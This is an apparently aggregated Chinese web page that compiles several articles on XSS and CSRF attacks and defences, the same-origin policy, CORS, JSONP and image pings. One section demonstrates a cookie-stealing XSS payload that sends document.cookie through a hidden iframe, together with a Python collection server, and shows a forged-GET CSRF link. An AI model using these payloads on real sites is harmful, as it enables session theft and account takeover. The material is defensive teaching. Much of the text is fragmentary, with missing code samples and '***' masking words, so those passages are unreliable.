本文目录一览：
如何有效防止XSS攻击/AJAX跨域攻击
1，利用字符过滤漏洞，提交恶意js代码，当用户打开页面时执行
2，需要填写图片地址或css等直接在页面加载时执行的地方，填写恶意js [javascript：xxxx]，当用户打开包含图片的页面时，可以执行js。比如GET s1.game.com/fight/:id 表示发兵到某个用户，虽然做了用户验证，但没做来源验证，用户只需将这个地址发到同用户的论坛作为图片地址即可执行
3，通过跳转页面漏洞，比如 refer.php?message=xxxx ，页面上直接用 $_GET['message'] 的话，就会造成xss漏洞，把message的参数换成js代码或恶意网址，即可盗取用户cookie，或执行恶意js，或跳转到钓鱼页面等
4，利用浏览器或服务器0day漏洞
1，XSS主要是你的页面可以运行用户写的js，所以对所有的用户提交的数据进行过滤，对于判断用户是否登录状态的cookie信息进行加密，并且加上Ip信息，这样基本被盗取也无法获取登录权限
2，对update或delete的操作采用post方式提交，每次form里加一个唯一验证字符串，用hiden方式提交，用于服务器验证是否来自用户客户端
3，跳转程序需要对传递的url进行匹配判断，只允许特定的格式
4，时常关注安全方面的消息，一有漏洞即刻不上
前端安全方面有没有了解？xss和csrf如何攻防
在那个年代，大家一般用拼接字符串的方式来构造动态 SQL 语句创建应用，于是 SQL 注入成了很流行的攻击方式。在这个年代， 参数化查询 已经成了普遍用法，我们已经离 SQL 注入很远了。但是，历史同样悠久的 XSS 和 CSRF 却没有远离我们。由于之前已经对 XSS 很熟悉了，所以我对用户输入的数据一直非常小心。如果输入的时候没有经过 Tidy 之类的过滤，我一定会在模板输出时候全部转义。所以个人感觉，要避免 XSS 也是很容易的，重点是要“小心”。但最近又听说了另一种跨站攻击 CSRF ，于是找了些资料了解了一下，并与 XSS 放在一起做个比较。
XSS：脚本中的不速之客
XSS 全称“跨站脚本”，是注入攻击的一种。其特点是不对服务器端造成任何伤害，而是通过一些正常的站内交互途径，例如发布评论，提交含有 JavaScript 的内容文本。这时服务器端如果没有过滤或转义掉这些脚本，作为内容发布到了页面上，其他用户访问这个页面的时候就会运行这些脚本。
运行预期之外的脚本带来的后果有很多中，可能只是简单的恶作剧——一个关不掉的窗口：
1
2
3
while (true) {
alert("你关不掉我~");
}
也可以是盗号或者其他未授权的操作——我们来模拟一下这个过程，先建立一个用来收集信息的服务器：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python
#-*- coding:utf-8 -*-
"""
跨站脚本注入的信息收集服务器
"""
import bottle
app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)
@app.route('/myxss/')
def show(cookies, db):
SQL = 'INSERT INTO "myxss" ("cookies") VALUES (?)'
try:
db.execute(SQL, cookies)
except:
pass
return ""
if __name__ == "__main__":
app.run()
然后在某一个页面的评论中注入这段代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 用 script type="text/javascript"/script 包起来放在评论中
(function(window, document) {
// 构造泄露信息用的 URL
var cookies = document.cookie;
var xssURIBase = "";
var xssURI = xssURIBase + window.encodeURI(cookies);
// 建立隐藏 iframe 用于通讯
var hideFrame = document.createElement("iframe");
hideFrame.height = 0;
hideFrame.width = 0;
hideFrame.style.display = "none";
hideFrame.src = xssURI;
// 开工
document.body.appendChild(hideFrame);
})(window, document);
于是每个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求，是他们所看不到的。而这个请求，会把包含了他们的帐号和其他隐私的信息发送到收集服务器上。
我们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器做了限制，只能访问当前域名下的 URL，所谓不能“跨域”问题。这种做法的初衷也是防范 XSS，多多少少都起了一些作用，但不是总是有用，正如上面的注入代码，用 iframe 也一样可以达到相同的目的。甚至在愿意的情况下，我还能用 iframe 发起 POST 请求。当然，现在一些浏览器能够很智能地分析出部分 XSS 并予以拦截，例如新版的 Firefox、Chrome 都能这么做。但拦截不总是能成功，何况这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将，我们也不应该把事关安全性的责任推脱给浏览器，所以防止 XSS 的根本之道还是过滤用户输入。用户输入总是不可信任的，这点对于 Web 开发者应该是常识。
正如上文所说，如果我们不需要用户输入 HTML 而只想让他们输入纯文本，那么把所有用户输入进行 HTML 转义输出是个不错的做法。似乎很多 Web 开发框架、模版引擎的开发者也发现了这一点，Django 内置模版和 Jinja2 模版总是默认转义输出变量的。如果没有使用它们，我们自己也可以这么做。PHP 可以用 htmlspecialchars 函数，Python 可以导入 cgi 模块用其中的 cgi.escape 函数。如果使用了某款模版引擎，那么其必自带了方便快捷的转义方式。
真正麻烦的是，在一些场合我们要允许用户输入 HTML，又要过滤其中的脚本。Tidy 等 HTML 清理库可以帮忙，但前提是我们小心地使用。仅仅粗暴地去掉 script 标签是没有用的，任何一个合法 HTML 标签都可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的情况，我个人更倾向于使用简单的 *** 处理，简单的 *** 就是白名单重新整理。用户输入的 HTML 可能拥有很复杂的结构，但我们并不将这些数据直接存入数据库，而是使用 HTML 解析库遍历节点，获取其中数据（之所以不使用 XML 解析库是因为 HTML 要求有较强的容错性）。然后根据用户原有的标签属性，重新构建 HTML 元素树。构建的过程中，所有的标签、属性都只从白名单中拿取。这样可以确保万无一失——如果用户的某种复杂输入不能为解析器所识别（前面说了 HTML 不同于 XML，要求有很强的容错性），那么它不会成为漏网之鱼，因为白名单重新整理的策略会直接丢弃掉这些未能识别的部分。最后获得的新 HTML 元素树，我们可以拍胸脯保证——所有的标签、属性都来自白名单，一定不会遗漏。
现在看来，大多数 Web 开发者都了解 XSS 并知道如何防范，往往大型的 XSS 攻击（包括前段时间新浪微博的 XSS 注入）都是由于疏漏。我个人建议在使用模版引擎的 Web 项目中，开启（或不要关闭）类似 Django Template、Jinja2 中“默认转义”（Auto Escape）的功能。在不需要转义的场合，我们可以用类似 的方式取消转义。这种白名单式的做法，有助于降低我们由于疏漏留下 XSS 漏洞的风险。
另外一个风险集中区域，是富 AJAX 类应用（例如豆瓣网的阿尔法城）。这类应用的风险并不集中在 HTTP 的静态响应内容，所以不是开启模版自动转义能就能一劳永逸的。再加上这类应用往往需要跨域，开发者不得不自己打开危险的大门。这种情况下，站点的安全非常 依赖开发者的细心和应用上线前有效的测试。现在亦有不少开源的 XSS 漏洞测试软件包（似乎有篇文章提到豆瓣网的开发也使用自动化 XSS 测试），但我都没试用过，故不予评价。不管怎么说，我认为从用户输入的地方把好关总是成本更低而又最有效的做法。
CSRF：冒充用户之手
起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别，后来才明白 CSRF 和 XSS 根本是两个不同维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条，但绝对不是唯一的一条。一般习惯上把通过 XSS 来实现的 CSRF 称为 XSRF。
CSRF 的全称是“跨站请求伪造”，而 XSS 的全称是“跨站脚本”。看起来有点相似，它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户，但前面说了，它们的攻击类型是不同维度上的分 类。CSRF 顾名思义，是伪造请求，冒充用户在站内的正常操作。我们知道，绝大多数网站是通过 cookie 等方式辨识用户身份（包括使用服务器端 Session 的网站，因为 Session ID 也是大多保存在 cookie 里面的），再予以授权的。所以要伪造用户的正常操作，更好的 *** 是通过 XSS 或链接欺骗等途径，让用户在本机（即拥有身份 cookie 的浏览器端）发起用户所不知道的请求。
严格意义上来说，CSRF 不能分类为注入攻击，因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌，但对于设计不佳的网站，一条正常的链接都能造成 CSRF。
例如，一论坛网站的发贴是通过 GET 请求访问，点击发贴之后 *** 把发贴内容拼接成目标 URL 并访问：
标题content=内容
那么，我只需要在论坛中发一帖，包含一链接：
我是脑残content=哈哈
只要有用户点击了这个链接，那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧，但是既然发贴的请求可以伪造，那么删帖、转帐、改密码、发邮件全都可以伪造。
如何解决这个问题，我们是否可以效仿上文应对 XSS 的做法呢？过滤用户输入， 不允许发布这种含有站内操作 URL 的链接。这么做可能会有点用，但阻挡不了 CSRF，因为攻击者可以通过 *** 或其他网站把这个链接发布上去，为了伪装可能还使用 bit.ly 压缩一下网址，这样点击到这个链接的用户还是一样会中招。所以对待 CSRF ，我们的视角需要和对待 XSS 有所区别。CSRF 并不一定要有站内的输入，因为它并不属于注入攻击，而是请求伪造。被伪造的请求可以是任何来源，而非一定是站内。所以我们唯有一条路可行，就是过滤请求的 处理者。
比较头痛的是，因为请求可以从任何一方发起，而发起请求的方式多种多样，可以通过 iframe、ajax（这个不能跨域，得先 XSS）、Flash 内部发起请求（总是个大隐患）。由于几乎没有彻底杜绝 CSRF 的方式，我们一般的做法，是以各种方式提高攻击的门槛。
首先可以提高的一个门槛，就是改良站内 API 的设计。对于发布帖子这一类创建资源的操作，应该只接受 POST 请求，而 GET 请求应该只浏览而不改变服务器端资源。当然，最理想的做法是使用 REST 风格 的 API 设计，GET、POST、PUT、DELETE 四种请求 *** 对应资源的读取、创建、修改、删除。现在的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求 *** ，我们可以使用 ajax 提交请求（例如通过 jquery-form 插件，我最喜欢的做法），也可以使用隐藏域指定请求 *** ，然后用 POST 模拟 PUT 和 DELETE （Ruby on Rails 的做法）。这么一来，不同的资源操作区分的非常清楚，我们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能通过发布链接来伪造请求了，但他们仍可以发布表单，或者在其他站点上使用我们肉眼不可见的表单，在后台用 js 操作，伪造请求。
接下来我们就可以用比较简单也比较有效的 *** 来防御 CSRF，这个 *** 就是“请求令牌”。读过《J2EE 核心模式》的同学应该对“同步令牌”应该不会陌生，“请求令牌”和“同步令牌”原理是一样的，只不过目的不同，后者是为了解决 POST 请求重复提交问题，前者是为了保证收到的请求一定来自预期的页面。实现 *** 非常简单，首先服务器端要以某种策略生成随机字符串，作为令牌（token）， 保存在 Session 里。然后在发出请求的页面，把该令牌以隐藏域一类的形式，与其他信息一并发出。在接收请求的页面，把接收到的信息中的令牌与 Session 中的令牌比较，只有一致的时候才处理请求，否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
请求令牌虽然使用起来简单，但并非不可破解，使用不当会增加安全隐患。使用请求令牌来防止 CSRF 有以下几点要注意：
虽然请求令牌原理和验证码有相似之处，但不应该像验证码一样，全局使用一个 Session Key。因为请求令牌的 *** 在理论上是可破解的，破解方式是解析来源页面的文本，获取令牌内容。如果全局使用一个 Session Key，那么危险系数会上升。原则上来说，每个页面的请求令牌都应该放在独立的 Session Key 中。我们在设计服务器端的时候，可以稍加封装，编写一个令牌工具包，将页面的标识作为 Session 中保存令牌的键。
在 ajax 技术应用较多的场合，因为很有请求是 JavaScript 发起的，使用静态的模版输出令牌值或多或少有些不方便。但无论如何，请不要提供直接获取令牌值的 API。这么做无疑是锁上了大门，却又把钥匙放在门口，让我们的请求令牌退化为同步令牌。
之一点说了请求令牌理论上是可破解的，所以非常重要的场合，应该考虑使用验证码（令牌的一种升级，目前来看破解难度极大），或者要求用户再次输入密码（亚马逊、 *** 的做法）。但这两种方式用户体验都不好，所以需要产品开发者权衡。
无论是普通的请求令牌还是验证码，服务器端验证过一定记得销毁。忘记销毁用过的令牌是个很低级但是杀伤力很大的错误。我们学校的选课系统就有这个 问题，验证码用完并未销毁，故只要获取一次验证码图片，其中的验证码可以在多次请求中使用（只要不再次刷新验证码图片），一直用到 Session 超时。这也是为何选课系统加了验证码，外挂软件升级一次之后仍然畅通无阻。
如下也列出一些据说能有效防范 CSRF，其实效果甚微的方式甚至无效的做法。
通过 referer 判定来源页面：referer 是在 HTTP Request Head 里面的，也就是由请求的发送者决定的。如果我喜欢，可以给 referer 任何值。当然这个做法并不是毫无作用，起码可以防小白。但我觉得性价比不如令牌。
过滤所有用户发布的链接：这个是最无效的做法，因为首先攻击者不一定要从站内发起请求（上面提到过了），而且就算从站内发起请求，途径也远远不知链接一条。比如 img src="./create_post.php" / 就是个不错的选择，还不需要用户去点击，只要用户的浏览器会自动加载图片，就会自动发起请求。 *在请求发起页面用 alert 弹窗提醒用户：这个 *** 看上去能干扰站外通过 iframe 发起的 CSRF，但攻击者也可以考虑用 window.alert = function(){}; 把 alert 弄哑，或者干脆脱离 iframe，使用 Flash 来达到目的。
总体来说，目前防御 CSRF 的诸多 *** 还没几个能彻底无解的。所以 CSDN 上看到讨论 CSRF 的文章，一般都会含有“ *** ”二字来形容（另一位有该名号的貌似是 DDOS 攻击）。作为开发者，我们能做的就是尽量提高破解难度。当破解难度达到一定程度，网站就逼近于绝对安全的位置了（虽然不能到达）。上述请求令牌 *** ，就我 认为是最有可扩展性的，因为其原理和 CSRF 原理是相克的。CSRF 难以防御之处就在于对服务器端来说，伪造的请求和正常的请求本质上是一致的。而请求令牌的 *** ，则是揪出这种请求上的唯一区别——来源页面不同。我们还可 以做进一步的工作，例如让页面中 token 的 key 动态化，进一步提高攻击者的门槛。本文只是我个人认识的一个总结，便不讨论过深了。
跨域产生的原因和解决 ***
同源策略。
同源策略是一种约定，由Netscape公司1995年引入浏览器，它是浏览器最核心也最基本的安全功能，如果缺少了同源策略，浏览器很容易受到XSS、CSFR等攻击。所谓同源是指"协议+域名+端口"三者相同，即便两个不同的域名指向同一个ip地址，也非同源。同源策略限制以下几种行为：Cookie，LocalStorage和IndexDB无法读取DOM和 *** 对象无法获得AJAX请求不能发送
解决方案： *** ONP跨域。原理：就是利用标签没有跨域限制，通过标签src属性，发送带有callback参数的GET请求，服务端将接口返回数据拼凑到callback函数中，返回给浏览器，浏览器解析执行，从而前端拿到callback函数返回的数据。缺点：只能发送get一种请求。
什么是跨域，跨域的实现方式有哪些
跨源资源共享
通过 XHR 实现 Ajax 通信的一个主要限制,来源于跨域安全策略。默认情况下,XHR 对象只能访 问与包含它的页面位于同一个域中的资源。这种安全策略可以预防某些恶意行为。但是,实现合理的跨 域请求对开发某些浏览器应用程序也是至关重要的。
CORS(Cross-Origin Resource Sharing,跨源资源共享)是 W3C 的一个工作草案,定义了在必须访 问跨源资源时,浏览器与服务器应该如何沟通。CORS 背后的基本思想,就是使用自定义的 HTTP 头部 让浏览器与服务器进行沟通,从而决定请求或响应是应该成功,还是应该失败。
比如一个简单的使用 GET 或 POST 发送的请求,它没有自定义的头部,而主体内容是 text/plain。在 发送该请求时,需要给它附加一个额外的 Origin 头部,其中包含请求页面的源信息(协议、域名和端 口),以便服务器根据这个头部信息来决定是否给予响应。下面是 Origin 头部的一个示例:
如果服务器认为这个请求可以接受,就在 Access-Control-Allow-Origin 头部中回发相同的源信息(如果是公共资源,可以回发”*”)。例如:
如果没有这个头部,或者有这个头部但源信息不匹配,浏览器就会驳回请求。正常情况下,浏览器 会处理请求。注意,请求和响应都不包含 cookie 信息。
IE对CORS的实现
微软在 IE8 中引入了 XDR(XDomainRequest)类型。这个对象与 XHR 类似,但能实现安全可靠 的跨域通信。XDR 对象的安全机制部分实现了 W3C 的 CORS 规范。以下是 XDR 与 XHR 的一些不同之 处。
cookie 不会随请求发送,也不会随响应返回。
只能设置请求头部信息中的 Content-Type 字段。 不能访问响应头部信息。 只支持GET和POST请求。
这些变化使 CSRF(Cross-Site Request Forgery,跨站点请求伪造)和 XSS(Cross-Site Scripting,跨 站点脚本)的问题得到了缓解。被请求的资源可以根据它认为合适的任意数据(用户 *** 、来源页面等) 来决定是否设置 Access-Control- Allow-Origin 头部。作为请求的一部分,Origin 头部的值表示 请求的来源域,以便远程资源明确地识别 XDR 请求。
XDR 对象的使用 *** 与 XHR 对象非常相似。也是创建一个 XDomainRequest 的实例,调用 open() *** ,再调用 send() *** 。但与 XHR 对象的 open() *** 不同,XDR 对象的 open() *** 只接收两个 参数:请求的类型和 URL。
所有 XDR 请求都是异步执行的,不能用它来创建同步请求。请求返回之后,会触发 load 事件, 响应的数据也会保存在 responseText 属性中,如下所示。
在接收到响应后,你只能访问响应的原始文本;没有办法确定响应的状态代码。而且,只要响应有 效就会触发 load 事件,如果失败(包括响应中缺少 Access-Control-Allow-Origin 头部)就会触 发 error 事件。遗憾的是,除了错误本身之外,没有其他信息可用,因此唯一能够确定的就只有请求 未成功了。要检测错误,可以像下面这样指定一个 onerror 事件处理程序。
鉴于导致 XDR 请求失败的因素很多,因此建议你不要忘记通过 onerror 事件处 理程序来捕获该事件;否则,即使请求失败也不会有任何提示。
在请求返回前调用 abort() *** 可以终止请求:
与 XHR 一样,XDR 对象也支持 timeout 属性以及 ontimeout 事件处理程序。下面是一个例子。
这个例子会在运行 1 秒钟后超时,并随即调用 ontimeout 事件处理程序。
为支持 POST 请求,XDR 对象提供了 contentType 属性,用来表示发送数据的格式,如下面的例子所示。

这个属性是通过 XDR 对象影响头部信息的唯一方式。 其他浏览器对CORS的实现
Firefox 3.5+、Safari 4+、Chrome、iOS 版 Safari 和 Android 平台中的 WebKit 都通过 XMLHttpRequest 对象实现了对 CORS 的原生支持。在尝试打开不同来源的资源时,无需额外编写代码就可以触发这个行 为。要请求位于另一个域中的资源,使用标准的 XHR 对象并在 open() *** 中传入绝对 URL 即可,例如:
与 IE 中的 XDR 对象不同,通过跨域 XHR 对象可以访问 status 和 statusText 属性,而且还支 持同步请求。跨域 XHR 对象也有一些限制,但为了安全这些限制是必需的。以下就是这些限制。
不能使用 setRequestHeader()设置自定义头部。
不能发送和接收 cookie。
调用 getAllResponseHeaders() *** 总会返回空字符串。
由于无论同源请求还是跨源请求都使用相同的接口,因此对于本地资源,更好使用相对 URL,在访 问远程资源时再使用绝对 URL。这样做能消除歧义,避免出现限制访问头部或本地 cookie 信息等问题。
Preflighted Reqeusts
CORS 通过一种叫做 Preflighted Requests 的透明服务器验证机制支持开发人员使用自定义的头部、 GET 或 POST 之外的 *** ,以及不同类型的主体内容。在使用下列高级选项来发送请求时,就会向服务 器发送一个 Preflight 请求。这种请求使用 OPTIONS *** ,发送下列头部。
Origin:与简单的请求相同。
Access-Control-Request-Method:请求自身使用的 *** 。
Access-Control-Request-Headers:(可选)自定义的头部信息,多个头部以逗号分隔。
以下是一个带有自定义头部 NCZ 的使用 POST *** 发送的请求。
跨源资源共享
发送这个请求后,服务器可以决定是否允许这种类型的请求。服务器通过在响应中发送如下头部与 浏览器进行沟通。
Access-Control-Allow-Origin:与简单的请求相同。
Access-Control-Allow-Methods:允许的 *** ,多个 *** 以逗号分隔。
Access-Control-Allow-Headers:允许的头部,多个头部以逗号分隔。
Access-Control-Max-Age:应该将这个 Preflight 请求缓存多长时间(以秒表示)。
例如:
支持 withCredentials 属性的浏览器有 Firefox 3.5+、Safari 4+和 Chrome。IE 10 及更早版本都不 9 支持。

Preflight 请求结束后,结果将按照响应中指定的时间缓存起来。而为此付出的代价只是之一次发送 这种请求时会多一次 HTTP 请求。
支持 Preflight 请求的浏览器包括 Firefox 3.5+、Safari 4+和 Chrome。IE 10 及更早版本都不支持。
带凭据的请求
默认情况下,跨源请求不提供凭据(cookie、HTTP 认证及客户端 SSL 证明等)。通过将 withCredentials 属性设置为 true,可以指定某个请求应该发送凭据。如果服务器接受带凭据的请 求,会用下面的 HTTP 头部来响应。
如果发送的是带凭据的请求,但服务器的响应中没有包含这个头部,那么浏览器就不会把响应交给JavaScript(于是,responseText 中将是空字符串,status 的值为 0,而且会调用 onerror()事件处 理程序)。另外,服务器还可以在 Preflight 响应中发送这个 HTTP 头部,表示允许源发送带凭据的请求。
跨浏览器的CORS
即使浏览器对 CORS 的支持程度并不都一样,但所有浏览器都支持简单的(非 Preflight 和不带凭据 的)请求,因此有必要实现一个跨浏览器的方案。检测 XHR 是否支持 CORS 的最简单方式,就是检查 是否存在 withCredentials 属性。再结合检测 XDomainRequest 对象是否存在,就可以兼顾所有浏 览器了。

Firefox、Safari 和 Chrome 中的 XMLHttpRequest 对象与 IE 中的 XDomainRequest 对象类似,都 提供了够用的接口,因此以上模式还是相当有用的。这两个对象共同的属性/ *** 如下。
abort():用于停止正在进行的请求。
onerror:用于替代 onreadystatechange 检测错误。 onload:用于替代 onreadystatechange 检测成功。 - responseText:用于取得响应内容。
send():用于发送请求。
以上成员都包含在 createCORSRequest()函数返回的对象中,在所有浏览器中都能正常使用。
其他跨域技术
在 CORS 出现以前,要实现跨域 Ajax 通信颇费一些周折。开发人员想出了一些办法,利用 DOM 中 能够执行跨域请求的功能,在不依赖 XHR 对象的情况下也能发送某种请求。虽然 CORS 技术已经无处 不在,但开发人员自己发明的这些技术仍然被广泛使用,毕竟这样不需要修改服务器端代码。
图像Ping
上述之一种跨域请求技术是使用img标签。我们知道,一个网页可以从任何网页中加载图像,不 用担心跨域不跨域。这也是在线广告跟踪浏览量的主要方式。正如第 13 章讨论过的,也可以动态地创 建图像,使用它们的 onload 和 onerror 事件处理程序来确定是否接收到了响应。
动态创建图像经常用于图像 Ping。图像 Ping 是与服务器进行简单、单向的跨域通信的一种方式。 请求的数据是通过查询字符串形式发送的,而响应可以是任意内容,但通常是像素图或 204 响应。通过 图像 Ping,浏览器得不到任何具体的数据,但通过侦听 load 和 error 事件,它能知道响应是什么时 候接收到的。来看下面的例子。
这里创建了一个 Image 的实例,然后将 onload 和 onerror 事件处理程序指定为同一个函数。这 样无论是什么响应,只要请求完成,就能得到通知。请求从设置 src 属性那一刻开始,而这个例子在请 求中发送了一个 name 参数。
图像 Ping 最常用于跟踪用户点击页面或动态广告曝光次数。图像 Ping 有两个主要的缺点,一是只 能发送 GET 请求,二是无法访问服务器的响应文本。因此,图像 Ping 只能用于浏览器与服务器间的单向通信。
*** ONP
*** ONP 是 *** ON with padding(填充式 *** ON 或参数式 *** ON)的简写,是应用 *** ON 的一种新 *** , 在后来的 Web 服务中非常流行。 *** ONP 看起来与 *** ON 差不多,只不过是被包含在函数调用中的 *** ON, 4 就像下面这样。
*** ONP 由两部分组成:回调函数和数据。回调函数是当响应到来时应该在页面中调用的函数。回调 函数的名字一般是在请求中指定的。而数据就是传入回调函数中的 *** ON 数据。下面是一个典型的 *** ONP 请求。
这个 URL 是在请求一个 *** ONP 地理定位服务。通过查询字符串来指定 *** ONP 服务的回调参数是很 常见的,就像上面的 URL 所示,这里指定的回调函数的名字叫 handleResponse()。
*** ONP 是通过动态script元素来使用的,使用时可以为src 属性指定一个跨域 URL。这里的script元素与img元素类似,都有能力不受限制地从其他域 加载资源。因为 *** ONP 是有效的 JavaScript 代码,所以在请求完成后,即在 *** ONP 响应加载到页面中 以后,就会立即执行。来看一个例子。 
这个例子通过查询地理定位服务来显示你的 IP 地址和位置信息。
*** ONP 之所以在开发人员中极为流行,主要原因是它非常简单易用。与图像 Ping 相比,它的优点 在于能够直接访问响应文本,支持在浏览器与服务器之间双向通信。不过, *** ONP 也有两点不足。
首先, *** ONP 是从其他域中加载代码执行。如果其他域不安全,很可能会在响应中夹带一些恶意代码,而此时除了完全放弃 *** ONP 调用之外,没有办法追究。因此在使用不是你自己运维的 Web 服务时, 一定得保证它安全可靠。
其次,要确定 *** ONP 请求是否失败并不容易。虽然 HTML5 给script元素新增了一个 onerror 事件处理程序,但目前还没有得到任何浏览器支持。为此,开发人员不得不使用计时器检测指定时间内是否接收到了响应。但就算这样也不能尽如人意,毕竟不是每个用户上网的速度和带宽都一样。
参考：javascript高级程序设计第21章
XSS攻击原理是什么
Xss(cross-site scripting)攻击指的是攻击者往Web页面里插入恶意html标签或者javascript代码，当用户浏览该页或者进行某些操作时，攻击者利用用户对原网站的信任，诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
比如：攻击者在论坛中放一个看似安全的链接，骗取用户点击后，窃取cookie中的用户私密信息；或者攻击者在论坛中加一个恶意表单，当用户提交表单的时候，却把信息传送到攻击者的服务器中，而不是用户原本以为的信任站点。
诸如此类，唯一能完全杜绝xss攻击的 *** ，就是禁用script，img等，显然这是不靠谱的，用户需要丰富的页面内容；当然我们可以用一些 *** 预防xss攻击，尽量减少xss造成的危害。
XSS攻击的危害包括
盗取各类用户帐号，如机器登录帐号、用户网银帐号、各类管理员帐号
控制企业数据，包括读取、篡改、添加、删除企业敏感数据的能力
盗窃企业重要的具有商业价值的资料
非法转账
强制发送电子邮件
网站挂马
控制受害者机器向其它网站发起攻击